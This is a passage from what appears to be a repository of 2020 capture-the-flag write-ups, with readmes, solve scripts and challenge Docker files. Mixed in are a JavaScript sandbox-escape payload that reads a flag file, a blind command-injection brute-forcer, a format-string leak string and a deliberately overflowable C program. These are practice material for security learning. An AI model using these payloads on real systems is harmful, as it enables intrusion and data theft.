| * [Blog post about breaking naive hashing algorithms](https://www.tiraniddo.dev/2014/09/generating-hash-collisions.html) 13 | * [Example z3 Python code for finding hash collisions](https://github.com/0vercl0k/z3-playground/blob/master/hash_collisions_z3.py) 14 | * [Seccomp refresher](https://eigenstate.org/notes/seccomp.html) 15 | -------------------------------------------------------------------------------- /writeups/2020/DamCTF/xorop/xorop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/DamCTF/xorop/xorop -------------------------------------------------------------------------------- /writeups/2020/Runcode-CTF/rooter-os/readme.md: -------------------------------------------------------------------------------- 1 | # Rooter OS 2 | 3 | This isn't really a writeup for the challenge, just a method of documenting the [`rooter-exec.py`](./rooter-exec.py) script I wrote for tunneling through the router to the rest of the network. 4 | 5 | The solution flow was roughly: 6 | 7 | * Discover [lighttpd path traversal](https://www.rapid7.com/db/vulnerabilities/http-lighttpd-cve-2018-19052) vulnerability allows you to enumerate the file system 8 | * Download the `rooter` binary via a URL like `http://host/tmp../usr/bin/rooter` 9 | * Pull out the hardcoded password from the binary and use it to access the router's proprietary service for running system commands 10 | -------------------------------------------------------------------------------- /writeups/2020/Runcode-CTF/sha1-a-count/readme.md: -------------------------------------------------------------------------------- 1 | # SHA1 `'a'` Count 2 | 3 | This was a simple challenge proposed during the CTF: provide hex-encoded data that, when hashed with SHA1, produces a consecutive string of `a` characters in its hash. The longest string of `a`s after 10 minutes wins. My [solution script](./solve.py) was able to come up with a hash starting with 6 `a`s. 4 | -------------------------------------------------------------------------------- /writeups/2020/Runcode-CTF/sha1-a-count/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import binascii 4 | import hashlib 5 | import itertools 6 | import os 7 | 8 | curr_max = 0 9 | 10 | while True: 11 | rand = os.urandom(24) 12 | sha1_obj = hashlib.sha1() 13 | sha1_obj.update(rand) 14 | sha1_hash = sha1_obj.hexdigest() 15 | 16 | a_count = len(list(itertools.takewhile(lambda x: x == 'a', sha1_hash))) 17 | if a_count > curr_max: 18 | curr_max = a_count 19 | print('sha1:', sha1_hash) 20 | print('data:', binascii.hexlify(rand).decode()) 21 | print('count: ', a_count) 22 | print() 23 | -------------------------------------------------------------------------------- /writeups/2020/angstrom-ctf/autorev-assemble/readme.md: -------------------------------------------------------------------------------- 1 | # Autorev, Assemble! 2 | 3 | Taking a look at this binary, it looks like a standard crackme that performs a bunch of checks on the input. Due to the straightforward nature of the checks being made, this is a great candidate for symbolic execution with [angr](https://angr.io/). 4 | 5 | Looking at the initial `fgets` call, I assumed the desired input length was `0x100`, but it appears to actually be much shorter than that. My angr-powered [solution script](./solve.py) could figure it out anyways. 6 | -------------------------------------------------------------------------------- /writeups/2020/angstrom-ctf/autorev-assemble/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import angr 4 | import claripy 5 | 6 | BINARY = 'autorev_assemble' 7 | FLAG_LEN = 0x100 8 | 9 | 10 | def main(): 11 | project = angr.Project(BINARY) 12 | 13 | flag_chars = [claripy.BVS(f'flag_{i}', 8) for i in range(FLAG_LEN)] 14 | flag = claripy.Concat(*flag_chars) 15 | 16 | st = project.factory.full_init_state( 17 | add_options=angr.options.unicorn, 18 | stdin=flag, 19 | ) 20 | 21 | # Main flag contents won't contain a newline or null byte. 22 | for c in flag_chars[:-1]: 23 | st.solver.add(c != 0x00) 24 | st.solver.add(c != 0x0a) 25 | # Assume flag ends with newline. 26 | st.solver.add(flag_chars[-1] == 0x0a) 27 | 28 | find_addr = 0x40894c 29 | avoid_addr = 0x40895a 30 | 31 | sm = project.factory.simgr(st) 32 | 33 | print('Solving...') 34 | sm.explore(find=find_addr, avoid=avoid_addr) 35 | 36 | if len(sm.found) > 0: 37 | for sol_state in sm.found: 38 | print(sol_state.solver.eval(flag, cast_to=bytes)) 39 | else: 40 | print('FAILED') 41 | 42 | 43 | if __name__ == '__main__': 44 | main() 45 | -------------------------------------------------------------------------------- /writeups/2020/angstrom-ctf/caasio/readme.md: -------------------------------------------------------------------------------- 1 | # CaaSio 2 | 3 | This was a cool JavaScript sandbox bypass problem. 4 | 5 | I originally thought the solution required doing something with [`__defineGetter__`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__defineGetter__) and [`__lookupGetter__`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/__lookupGetter__), but realized that you couldn't use `__defineGetter__` on frozen objects. 6 | 7 | Eventually, I figured out a way to abuse the permissive regular expression (with a lot of testing on [regex101](https://regex101.com/)), arrow functions, and scoping rules to set a prototype for the `trusted` attribute. This is demonstrated with the two lines below that will get the flag: 8 | 9 | ```js 10 | // Set Object.__proto__.trusted = 1 to pass user.trusted check, which removes 11 | // all filters from eval-ed code. 12 | ((Math)=>Math.trusted=1)(Math.__proto__) 13 | 14 | // Use a simple Node file-read payload once the filter has been lifted. 15 | global.process.mainModule.require('fs').readFileSync('/ctf/flag.txt').toString('utf8') 16 | ``` 17 | -------------------------------------------------------------------------------- /writeups/2020/angstrom-ctf/inputter/readme.md: -------------------------------------------------------------------------------- 1 | # Inputter 2 | 3 | This miscellaneous challenge was just an exercise in passing weird values on stdin and as command-line arguments. Not a super difficult challenge, but I'm keeping the solution here for future reference: 4 | 5 | ```sh 6 | echo -e '\x00\x01\x02\x03' | ./inputter $' \n\'\"\x07' 7 | ``` 8 | -------------------------------------------------------------------------------- /writeups/2020/angstrom-ctf/one-time-bad/readme.md: -------------------------------------------------------------------------------- 1 | # One Time Bad 2 | 3 | The main vulnerability in this problem is using a predictable seed for random number generation. We can then bruteforce the seed and use it to know all of the parameters used in the OTP operation. Find a solve script [here](./solve.py). 4 | -------------------------------------------------------------------------------- /writeups/2020/angstrom-ctf/reasonably-strong-algorithm/readme.md: -------------------------------------------------------------------------------- 1 | # Reasonably Strong Algorithm 2 | 3 | This is a simple RSA problem that involves factoring the modulus N to reconstruct the totient and derive the private exponent. I factored N via [FactorDB](http://factordb.com/). 4 | 5 | For future reference, here are the system packages needed in order to `pip install gmpy2`: 6 | 7 | ```sh 8 | sudo apt-get install libgmp-dev libmpfr-dev libmpc-dev 9 | ``` 10 | -------------------------------------------------------------------------------- /writeups/2020/angstrom-ctf/reasonably-strong-algorithm/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import binascii 4 | import gmpy2 5 | 6 | n = 126390312099294739294606157407778835887 7 | e = 65537 8 | c = 13612260682947644362892911986815626931 9 | 10 | # From factordb. 11 | p = 9336949138571181619 12 | q = 13536574980062068373 13 | 14 | r = (q - 1) * (p - 1) 15 | d = gmpy2.divm(1, e, r) 16 | 17 | p = gmpy2.powmod(c, d, n) 18 | print(binascii.unhexlify(hex(p)[2:]).decode()) 19 | -------------------------------------------------------------------------------- /writeups/2020/angstrom-ctf/shifter/fib.lst: -------------------------------------------------------------------------------- 1 | 0 2 | 1 3 | 1 4 | 2 5 | 3 6 | 5 7 | 8 8 | 13 9 | 21 10 | 34 11 | 55 12 | 89 13 | 144 14 | 233 15 | 377 16 | 610 17 | 987 18 | 1597 19 | 2584 20 | 4181 21 | 6765 22 | 10946 23 | 17711 24 | 28657 25 | 46368 26 | 75025 27 | 121393 28 | 196418 29 | 317811 30 | 514229 31 | 832040 32 | 1346269 33 | 2178309 34 | 3524578 35 | 5702887 36 | 9227465 37 | 14930352 38 | 24157817 39 | 39088169 40 | 63245986 41 | 102334155 42 | 165580141 43 | 267914296 44 | 433494437 45 | 701408733 46 | 1134903170 47 | 1836311903 48 | 2971215073 49 | 4807526976 50 | 7778742049 -------------------------------------------------------------------------------- /writeups/2020/angstrom-ctf/shifter/readme.md: -------------------------------------------------------------------------------- 1 | # Shifter 2 | 3 | Simple programming problem that involved pre-computing some Fibonacci numbers and a basic Caesar cipher implementation. See [the solve script](./solve.py) for the implementation. 4 | -------------------------------------------------------------------------------- /writeups/2020/angstrom-ctf/shifter/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from __future__ import print_function 4 | 5 | import string 6 | 7 | from pwn import * 8 | 9 | NUM_PROBLEMS = 50 10 | ALPHABET = string.ascii_uppercase 11 | 12 | 13 | def get_fib_numbers(): 14 | with open('fib.lst', 'r') as f: 15 | return [ 16 | int(line.strip()) for line in f.readlines() 17 | if line.strip() 18 | ] 19 | 20 | 21 | def caesar(pt, n): 22 | return ''.join( 23 | ALPHABET[(ALPHABET.index(c) + n) % len(ALPHABET)] 24 | for c in pt 25 | ) 26 | 27 | 28 | def main(): 29 | fib_nums = get_fib_numbers() 30 | io = remote('misc.2020.chall.actf.co', 20300) 31 | 32 | for i in range(NUM_PROBLEMS): 33 | log.info('On problem %d' % i) 34 | 35 | io.recvuntil('Shift ') 36 | shift_input = io.recvuntil(' by ', drop=True) 37 | 38 | io.recvuntil('n=') 39 | fib_index = int(io.recvuntil('\n', drop=True)) 40 | fib_num = fib_nums[fib_index] 41 | 42 | io.recvuntil(': ') 43 | io.sendline(caesar(shift_input, fib_num)) 44 | 45 | print(io.recvall()) 46 | 47 | 48 | if __name__ == '__main__': 49 | main() 50 | -------------------------------------------------------------------------------- /writeups/2020/b01lersCTF/chugga-chugga/readme.md: -------------------------------------------------------------------------------- 1 | # Chugga Chugga 2 | 3 | Upon disassembly of the binary for this reverse engineering crackme, it becomes pretty obvious where the password checking logic takes place. This was a great candidate to let [angr](https://angr.io/) figure out on its own. 4 | 5 | My solution script can be found [here](./solve.py). 6 | -------------------------------------------------------------------------------- /writeups/2020/b01lersCTF/chugga-chugga/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import angr 4 | import claripy 5 | 6 | BINARY = './chugga' 7 | FLAG_LEN = 0x17 8 | 9 | 10 | def main(): 11 | project = angr.Project(BINARY) 12 | 13 | start_addr = 0x49305d 14 | initial_state = project.factory.blank_state(addr=start_addr) 15 | 16 | flag = claripy.BVS('flag', FLAG_LEN * 8) 17 | 18 | # We just need somewhere to store the flag buffer. Since 19 | # the region of the binary we are working doesn't use the 20 | # stack at all, putting it there doesn't matter. 21 | initial_state.memory.store(initial_state.regs.rsp, flag) 22 | initial_state.regs.rdx = initial_state.regs.rsp 23 | initial_state.regs.rcx = FLAG_LEN 24 | 25 | find_addr = 0x49327e 26 | avoid_addr = 0x493066 27 | 28 | simulation = project.factory.simgr(initial_state) 29 | 30 | print('Solving...') 31 | simulation.explore(find=find_addr, avoid=avoid_addr) 32 | 33 | if len(simulation.found) > 0: 34 | for sol_state in simulation.found: 35 | print(sol_state.solver.eval(flag, cast_to=bytes)) 36 | else: 37 | print('FAILED') 38 | 39 | 40 | if __name__ == '__main__': 41 | main() 42 | -------------------------------------------------------------------------------- /writeups/2020/b01lersCTF/harvesting-season/readme.md: -------------------------------------------------------------------------------- 1 | # Harvesting Season 2 | 3 | 4-byte key XORed message. We can use our knowledge of the flag format to recover the key and decrypt the whole message. Find the solution script [here](./solve.py). 4 | -------------------------------------------------------------------------------- /writeups/2020/b01lersCTF/harvesting-season/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import binascii 4 | import itertools 5 | 6 | CT = binascii.unhexlify( 7 | '1921754512366910363569105a73727c592c5e5701715e571b76304d3625317c1b72744d' 8 | '0d1d354d0d1d73131c2c655e' 9 | ) 10 | 11 | 12 | def xor(one: bytes, two: bytes) -> bytes: 13 | """XOR, re-cycling two if len(one) > len(two).""" 14 | assert len(one) >= len(two) 15 | return bytes([ 16 | a ^ b for a, b in zip(one, itertools.cycle(two)) 17 | ]) 18 | 19 | 20 | def main(): 21 | known_pt = b'pctf' 22 | candidate_keys = [ 23 | xor(CT[i:i + len(known_pt)], known_pt) 24 | for i in range(len(known_pt)) 25 | ] 26 | 27 | for ck in candidate_keys: 28 | print(xor(CT, ck)) 29 | 30 | 31 | if __name__ == '__main__': 32 | main() 33 | -------------------------------------------------------------------------------- /writeups/2020/b01lersCTF/little-engine/readme.md: -------------------------------------------------------------------------------- 1 | # Little Engine 2 | 3 | We can identify the good and bad character check code paths that occur towards the end of the execution flow, and trace when they get hit with some GDB scripting. We can then use this trace as an oracle for brute-forcing inputs that hit the good check code path. 4 | 5 | Find the solution script [here](./solve.py). 6 | -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club-2/Dockerfile: -------------------------------------------------------------------------------- 1 | from ubuntu:20.04 2 | 3 | run groupadd -r ctf && useradd --no-log-init -r -g ctf ctf 4 | 5 | run apt-get update && apt-get upgrade -y 6 | run apt-get install -y socat python3 qemu-user-static libncurses5 libncurses5-dev gdb-multiarch 7 | 8 | copy ./sparc-2 ./run_socat.sh ./flag.txt /chall/ 9 | 10 | WORKDIR /chall 11 | run chmod 644 flag.txt 12 | run chmod 744 run_socat.sh sparc-2 13 | 14 | CMD /chall/run_socat.sh -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club-2/build_docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t sparc-2 . -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club-2/flag.txt: -------------------------------------------------------------------------------- 1 | flag{fake_flag} -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club-2/provided-README.md: -------------------------------------------------------------------------------- 1 | # Secret Pwnhub Academy Rewards Club 2 | The docker container will expose the challenge on local port 4444. 3 | 4 | To build the initial image, use: `./build_docker.sh` 5 | 6 | ## Challenge Setup 7 | To connect to the original challenge, simply connect like the following: 8 | 9 | ``` 10 | # 1. Start docker 11 | ./start_docker.sh 12 | # 2. Connect to Service 13 | nc localhost 4444 14 | ``` 15 | 16 | ## Debug Setup 17 | To debug the target, you can use `./run_docker_gdbserver.sh` similarly 18 | 19 | ``` 20 | # 1. Start docker, exposing gdb server and waiting for connection. 21 | ./run_docker_gdbserver.sh 22 | # 2. Connect to service from another shell and you will get gdb on the first one 23 | nc localhost 4444 24 | ``` -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club-2/run_docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run -p 4444:4444 -it sparc-2 $@ -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club-2/run_docker_gdbserver.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run -u root -p 1234:1234 -p 4444:4444 -it sparc-2 /chall/run_socat.sh 1 3 | -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club-2/run_socat.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | binary=sparc-2 3 | socat_args=",pty,rawer,stderr,echo=0,su=ctf" 4 | if [ $# -lt 1 ]; then 5 | # Default, standalone case 6 | socat tcp-listen:4444,reuseaddr,fork exec:"qemu-sparc-static $binary"$socat_args 7 | else 8 | # Pass an argument to expose GDB server on port 1234 9 | socat tcp-listen:4444,reuseaddr,fork exec:"qemu-sparc-static -g 1234 $binary"$socat_args > /dev/null 10 | # gdb-multiarch -ex "target remote localhost:1234" -ex "b main" -ex "continue" $binary 11 | fi 12 | -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club-2/sparc-2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club-2/sparc-2 -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club/Dockerfile: -------------------------------------------------------------------------------- 1 | from ubuntu:20.04 2 | 3 | run groupadd -r ctf && useradd --no-log-init -r -g ctf ctf 4 | 5 | run apt-get update && apt-get upgrade -y 6 | run apt-get install -y socat python3 qemu-user-static libncurses5 libncurses5-dev gdb-multiarch 7 | 8 | copy ./sparc-1 ./run_socat.sh ./flag.txt /chall/ 9 | 10 | WORKDIR /chall 11 | run chmod 644 flag.txt 12 | run chmod 744 run_socat.sh sparc-1 13 | 14 | CMD /chall/run_socat.sh -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club/build_docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t sparc-1 . -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club/flag.txt: -------------------------------------------------------------------------------- 1 | flag{fake_flag} 2 | -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club/provided-README.md: -------------------------------------------------------------------------------- 1 | # Secret Pwnhub Academy Rewards Club 2 | The docker container will expose the challenge on local port 4444. 3 | 4 | To build the initial image, use: `./build_docker.sh` 5 | 6 | ## Challenge Setup 7 | To connect to the original challenge, simply connect like the following: 8 | 9 | ``` 10 | # 1. Start docker 11 | ./start_docker.sh 12 | # 2. Connect to Service 13 | nc localhost 4444 14 | ``` 15 | 16 | ## Debug Setup 17 | To debug the target, you can use `./run_docker_gdbserver.sh` similarly 18 | 19 | ``` 20 | # 1. Start docker, exposing gdb server and waiting for connection. 21 | ./run_docker_gdbserver.sh 22 | # 2. Connect to service from another shell and you will get gdb on the first one 23 | nc localhost 4444 24 | ``` 25 | -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club/run_docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run -p 4444:4444 -it sparc-1 $@ -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club/run_docker_gdbserver.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run -u root -p 1234:1234 -p 4444:4444 -it sparc-1 /chall/run_socat.sh 1 3 | -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club/run_socat.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | binary=sparc-1 3 | socat_args=",pty,rawer,stderr,echo=0,su=ctf" 4 | if [ $# -lt 1 ]; then 5 | # Default, standalone case 6 | socat tcp-listen:4444,reuseaddr,fork exec:"qemu-sparc-static $binary"$socat_args 7 | else 8 | # Pass an argument to expose GDB server on port 1234 9 | # socat tcp-listen:4444,reuseaddr,fork exec:"qemu-sparc-static -g 1234 $binary"$socat_args > /dev/null & 10 | socat tcp-listen:4444,reuseaddr,fork exec:"qemu-sparc-static -g 1234 $binary"$socat_args > /dev/null 11 | # gdb-multiarch -ex "target remote localhost:1234" -ex "b main" -ex "continue" $binary 12 | fi 13 | -------------------------------------------------------------------------------- /writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club/sparc-1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/hack-lu/secret-pwnhub-academy-rewards-club/sparc-1 -------------------------------------------------------------------------------- /writeups/2020/hxpctf/audited/Dockerfile: -------------------------------------------------------------------------------- 1 | # echo 'hxp{FLAG}' > flag.txt && docker build -t audited . && docker run --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -ti -p 8007:1024 audited 2 | 3 | FROM archlinux 4 | 5 | RUN pacman -Sy --noconfirm python && \ 6 | rm -rf /var/lib/pacman /var/cache/pacman 7 | 8 | RUN useradd --create-home --shell /bin/bash ctf 9 | WORKDIR /home/ctf 10 | COPY audited.py /home/ctf/ 11 | COPY ynetd /sbin/ 12 | COPY flag.txt / 13 | 14 | RUN mv /flag.txt /flag_$(< /dev/urandom tr -dc a-zA-Z0-9 | head -c 24).txt && \ 15 | chown root:root /flag_*.txt && \ 16 | chmod 444 /flag_*.txt 17 | 18 | RUN chmod 555 /home/ctf && \ 19 | chown -R root:root /home/ctf && \ 20 | chmod -R 000 /home/ctf/* && \ 21 | chmod 500 /sbin/ynetd && \ 22 | chmod 005 /home/ctf/audited.py 23 | 24 | USER ctf 25 | RUN (find --version && id --version && sed --version && grep --version) > /dev/null 26 | RUN ! find / -writable -or -user $(id -un) -or -group $(id -Gn|sed -e 's/ / -or -group /g') 2> /dev/null | grep -Ev -m 1 '^(/tmp|/var/mail|/var/spool/mail|/var/tmp|/dev|/proc)' 27 | USER root 28 | 29 | EXPOSE 1024 30 | CMD ynetd -t 15 -sh n /home/ctf/audited.py 31 | -------------------------------------------------------------------------------- /writeups/2020/hxpctf/audited/audited.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 -u 2 | 3 | import sys 4 | from os import _exit as __exit 5 | 6 | def audit(name, args): 7 | if not audit.did_exec and name == 'exec': 8 | audit.did_exec = True 9 | else: 10 | __exit(1) 11 | audit.did_exec = False 12 | 13 | sys.stdout.write('> ') 14 | try: 15 | code = compile(sys.stdin.read(), '', 'exec') 16 | except: 17 | __exit(1) 18 | sys.stdin.close() 19 | 20 | for module in set(sys.modules.keys()): 21 | if module in sys.modules: 22 | del sys.modules[module] 23 | 24 | sys.addaudithook(audit) 25 | 26 | namespace = {} 27 | try: 28 | exec(code, namespace, namespace) 29 | except: 30 | __exit(1) 31 | __exit(0) 32 | -------------------------------------------------------------------------------- /writeups/2020/hxpctf/audited/flag.txt: -------------------------------------------------------------------------------- 1 | hxp{FLAG} 2 | -------------------------------------------------------------------------------- /writeups/2020/hxpctf/audited/readme.md: -------------------------------------------------------------------------------- 1 | # audited 2 | 3 | Cool Python challenge I didn't solve until after the ctf ended, thanks to some comments from some nice folks in the competition's IRC channel. 4 | 5 | ## Solutions 6 | 7 | There are a couple of ways to solve this (and possibly more). The first involves importing the `gc` module via an importer or loader left around in memory. The other involves walking back up to the main frame of execution via an exception traceback. Both solutions involve nopping out `__exit` with `print` so that the audit hook no longer quits execution. 8 | 9 | ## Resources 10 | 11 | * [Another recent Python audit hook bypass challenge](https://flagbot.ch/posts/pyaucalc/): Really nice writeup that presents a good way to think about audit hook bypassing. 12 | * [Corresponding CPython patch for the above audit hook bypass](https://bugs.python.org/issue41162) 13 | * [`pylifecycle.c`](https://github.com/python/cpython/blob/b8fa135908d294b350cdad04e2f512327a538dee/Python/pylifecycle.c): Good reference for understanding when things are supposed to happen during Python code execution. 14 | * [Audit event documentation](https://docs.python.org/3/library/audit_events.html) 15 | -------------------------------------------------------------------------------- /writeups/2020/hxpctf/audited/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | echo 'hxp{FLAG}' > flag.txt 4 | docker build -t audited . 5 | docker run --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -ti -p 8007:1024 audited 6 | -------------------------------------------------------------------------------- /writeups/2020/hxpctf/audited/ynetd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/hxpctf/audited/ynetd -------------------------------------------------------------------------------- /writeups/2020/midnight-sun/pwn1/libc.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/midnight-sun/pwn1/libc.so -------------------------------------------------------------------------------- /writeups/2020/midnight-sun/pwn1/pwn1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/midnight-sun/pwn1/pwn1 -------------------------------------------------------------------------------- /writeups/2020/midnight-sun/pwn1/readme.md: -------------------------------------------------------------------------------- 1 | # pwn1 2 | 3 | Classic `gets` stack-based buffer overflow that involves libc leak via `puts`. 4 | -------------------------------------------------------------------------------- /writeups/2020/midnight-sun/pybonhash/readme.md: -------------------------------------------------------------------------------- 1 | # pybonhash 2 | 3 | Fun challenge involving reversing a custom "hashing" algorithm based on fibonacci-based indexing of a key and plaintext. 4 | -------------------------------------------------------------------------------- /writeups/2020/pbctf/blacklist/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | RUN apt-get update 3 | RUN apt-get install -y xinetd python 4 | RUN useradd -M blacklist 5 | RUN mkdir /home/blacklist/ 6 | 7 | WORKDIR / 8 | COPY genfiles.py flag / 9 | RUN python genfiles.py /flag 10 | RUN rm genfiles.py flag 11 | 12 | WORKDIR /home/blacklist/ 13 | COPY blacklist . 14 | 15 | COPY xinetd /etc/xinetd.conf 16 | EXPOSE 1337 17 | ENTRYPOINT ["/usr/sbin/xinetd", "-dontfork"] 18 | -------------------------------------------------------------------------------- /writeups/2020/pbctf/blacklist/Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS=-m32 -static -fno-pie -fno-pic -fno-stack-protector 2 | LDFLAGS=-m32 -static -no-pie -Wl,-z,relro,-z,lazy 3 | 4 | .PHONY: clean 5 | 6 | blacklist: blacklist.o exploit.o 7 | 8 | clean: 9 | rm -f blacklist.c *.o blacklist 10 | 11 | 12 | %.c: %.bsm 13 | seccomp-tools asm -a i386 -f c_source $^ -o $@ 14 | sed -i 's/static void install_seccomp/void sandbox_so_you_cannot_shellcode/g' $@ 15 | -------------------------------------------------------------------------------- /writeups/2020/pbctf/blacklist/blacklist: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/welchbj/ctf/8050dac9256c3160dc258fd1a3fc98fd733a3b60/writeups/2020/pbctf/blacklist/blacklist -------------------------------------------------------------------------------- /writeups/2020/pbctf/blacklist/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | #include 8 | #include 9 | 10 | void sandbox_so_you_cannot_shellcode(void); 11 | 12 | 13 | int vuln() { 14 | char buff[8]; 15 | read(0, buff, 100); // Is it enough for ROP... hmm...? 16 | 17 | // HAHA! Good luck with trying to getting flag! 18 | shutdown(0, SHUT_RDWR); 19 | close(0); 20 | close(1); 21 | close(2); 22 | } 23 | 24 | int main() { 25 | sandbox_so_you_cannot_shellcode(); 26 | vuln(); 27 | } 28 | -------------------------------------------------------------------------------- /writeups/2020/pbctf/blacklist/flag: -------------------------------------------------------------------------------- 1 | test{flag} 2 | -------------------------------------------------------------------------------- /writeups/2020/pbctf/blacklist/xinetd: -------------------------------------------------------------------------------- 1 | service chall 2 | { 3 | disable = no 4 | type = UNLISTED 5 | server = /home/blacklist/blacklist 6 | port = 1337 7 | wait = no 8 | protocol = tcp 9 | socket_type = stream 10 | user = blacklist 11 | per_source = 5 12 | rlimit_cpu = 5 13 | nice = 18 14 | cps = 50 20 15 | } 16 | -------------------------------------------------------------------------------- /writeups/2020/tamuctf/angrmanagement/readme.md: -------------------------------------------------------------------------------- 1 | # Angr Managemenet 2 | 3 | As implied by the name of the challenge, the intended solution for this challenge is to solve for the required input via the [angr](https://angr.io/) symbolic execution library. 4 | 5 | I was able to use a pretty standard solve-for-stdin-angr-template script for this. Find my solution script [here](./solve.py). 6 | -------------------------------------------------------------------------------- /writeups/2020/tamuctf/blind/readme.md: -------------------------------------------------------------------------------- 1 | # Blind 2 | 3 | Poking at this challenge, it becomes clear that we can execute commands on the server, but only receive the exit code of the process. We can use the exit code from `grep`-ing the flag file as an oracle for a bruteforce of the flag. Find the solution script [here](./solve.py). 4 | -------------------------------------------------------------------------------- /writeups/2020/tamuctf/blind/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from __future__ import print_function 4 | 5 | import string 6 | import sys 7 | 8 | from pwn import * 9 | 10 | ALPHABET = ( 11 | string.printable 12 | .replace('"', '\\"') 13 | .replace("'", "\\'") 14 | .replace(';', '\\;') 15 | .replace('&', '\\&') 16 | .replace('|', '\\|') 17 | .replace('$', '\\$') 18 | .replace('\\', '') 19 | .replace('*', '') 20 | .replace('\n', '') 21 | .replace('\t', '') 22 | .replace('.', '') 23 | ) 24 | 25 | 26 | def main(): 27 | io = remote('challenges.tamuctf.com', 3424) 28 | 29 | flag = 'gigem{' 30 | while not flag.endswith('}'): 31 | for c in ALPHABET: 32 | io.recvuntil('Execute: ') 33 | cmd = "head -c%i flag.txt | grep '%s'" % (len(flag) + 1, flag + c) 34 | io.sendline(cmd) 35 | if io.recvline().strip() == '0': 36 | flag += c 37 | print(flag) 38 | break 39 | else: 40 | print('FAILED') 41 | sys.exit() 42 | 43 | 44 | if __name__ == '__main__': 45 | main() 46 | -------------------------------------------------------------------------------- /writeups/2020/tamuctf/echo-as-a-service/readme.md: -------------------------------------------------------------------------------- 1 | # Echo as a Service 2 | 3 | I never really even took the time to understand the vulnerability with this problem. It became clear from basic testing that there's a format string vulnerability. Sending some input like `AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p` printed a lot of characters that looked like ASCII printable characters, and when decoded revealed the flag. 4 | 5 | Find my solution script [here](./solve.py). 6 | -------------------------------------------------------------------------------- /writeups/2020/tamuctf/lejit/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from __future__ import print_function 4 | 5 | from pwn import * 6 | 7 | JIT_SIZE = 125 8 | 9 | context.arch = 'amd64' 10 | 11 | 12 | def write_code(io, sc, offset=0): 13 | bf = '<' * offset 14 | bf += ''.join('<,' for _ in range(len(sc))) 15 | io.recvuntil('bf$ ') 16 | io.sendline(bf) 17 | io.sendline(''.join(reversed(sc))) 18 | 19 | 20 | def read_code(io, size): 21 | bf = ''.join('<.' for _ in range(size)) 22 | 